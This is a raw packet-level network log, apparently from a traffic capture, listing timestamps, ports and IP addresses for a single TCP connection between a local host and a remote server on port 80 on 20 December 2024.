Dec 20, 2024 21:13:37.152106047 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.152112007 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.152146101 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.153245926 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.153291941 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.153347969 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.153430939 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.154531956 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.154617071 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.154639006 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.154679060 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.155690908 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.155731916 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.155802011 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.155843973 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.157074928 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.157119036 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.157193899 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.157320976 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.158091068 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.158190012 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.158221006 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.158236027 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.159241915 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.159286022 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.159347057 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.159533978 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.160470963 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.160516024 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.160567045 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.160610914 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.161647081 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.161698103 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.161746025 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.161845922 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.162858009 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.162935019 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.162961006 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.163007975 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.164072990 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.164113998 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.164139986 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.164191961 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.165272951 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.165326118 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.165394068 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.165448904 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.166455984 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.166507006 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.166568041 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.166614056 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.167660952 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.167701006 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.167778015 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.167870998 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.168863058 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.168925047 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.168977022 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.169023037 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.170134068 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.170178890 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.170180082 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.170217991 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.171344042 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.171411037 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.171459913 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.171506882 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.172529936 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.172583103 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.172590971 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.172627926 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.173805952 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.173851967 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.173887968 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.173923016 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.174864054 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.174906969 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.174973965 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.175008059 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.176101923 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.176147938 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.176237106 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.176423073 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.177258015 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.177316904 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.177336931 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.177416086 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.178497076 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.178540945 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.178670883 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.178709984 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.179754019 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.179836988 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.179883003 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.179919958 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.180897951 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.180948973 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.180996895 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.181032896 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.181042910 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.182111979 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.182157040 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.182177067 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.182213068 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.183413982 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.183458090 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.183562040 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.183635950 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.184494972 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.184546947 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.184568882 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.184632063 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.185735941 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.185795069 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.185832977 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.185873985 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.186878920 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.186934948 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.186971903 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.187062025 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.188117981 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.188169956 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.188256979 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.188363075 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.189304113 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.189351082 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.189443111 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.189579964 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.190509081 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.190558910 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.190584898 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.190620899 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.191692114 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.191740036 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.191807985 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.191921949 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.192964077 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.193012953 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.193121910 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.193166018 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.194102049 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.194148064 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.194197893 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.194236040 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.195391893 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.195600033 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.195628881 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.195667028 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.196676016 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.196719885 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.196800947 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.196837902 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.197719097 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.197762012 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.197819948 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.197858095 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.198925972 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.198990107 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.199033022 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.200144053 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.200192928 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.200213909 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.200244904 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.201338053 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.201391935 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.201519966 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.201565027 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.202555895 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.202600002 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.202693939 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.202737093 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.203725100 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.203819990 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.204000950 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.204046965 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.204893112 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.204933882 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.334271908 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.334321022 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.334325075 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.334367990 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.334713936 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.334764004 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.335024118 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.335067987 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.335918903 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.335959911 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.336025000 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.336106062 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.337141991 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.337214947 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.337269068 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.337321043 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.338324070 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.338368893 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.338433981 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.338469982 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.339554071 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.339601040 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.339659929 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.339833021 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.340718985 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.340768099 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.340831041 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.340987921 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.341927052 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.341980934 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.342073917 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.342156887 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.343158007 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.343297005 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.343667984 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.343712091 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.344372988 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.344422102 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.344479084 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.344527006 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.345588923 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.345634937 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.345679998 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.345722914 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.346745968 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.346791029 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.346848011 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.346923113 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.347963095 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.348006010 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.348048925 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.348104000 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.349163055 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.349216938 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.349322081 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.349359035 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.350377083 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.350421906 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.350511074 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.350555897 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.351555109 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.351602077 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.351677895 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.351744890 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.352771997 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.352819920 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.352823019 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.352859020 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.353944063 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.353993893 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.354047060 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.354084969 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.355175018 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.355226994 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.355443001 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.355488062 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.356347084 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.356450081 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.356453896 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.356493950 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.357573986 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.357619047 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.357678890 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.357719898 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.358758926 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.358824968 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.358865023 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.358906984 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.359992027 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.360033035 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.360071898 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.360111952 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.361284018 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.361329079 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.361340046 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.361378908 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.362358093 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.362407923 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.362571955 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.362616062 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.363573074 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.363620996 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.363681078 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.363718987 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.364769936 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.364816904 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.364876032 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.365128994 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.365986109 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.366031885 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.366044044 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.366080999 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.367211103 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.367254019 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.367324114 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.367369890 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.368357897 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.368405104 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.368540049 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.368586063 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.369623899 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.369685888 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.369709015 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.369745016 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.370872974 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.370918036 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.370984077 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.371028900 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.371999025 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.372040987 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.372128963 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.372170925 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.373255014 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.373301983 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.373402119 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.373490095 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.374411106 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.374454021 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.374560118 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.374625921 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.375606060 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.375703096 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.375734091 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.375751972 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.376873970 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.376916885 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.376980066 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.377018929 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.378006935 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.378051043 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.378153086 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.378191948 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.379219055 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.379343987 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.379357100 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.379384041 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.380393028 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.380444050 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.380498886 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.380541086 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.381653070 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.381695986 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.381725073 CET	80	49920	31.41.244.11	192.168.2.6
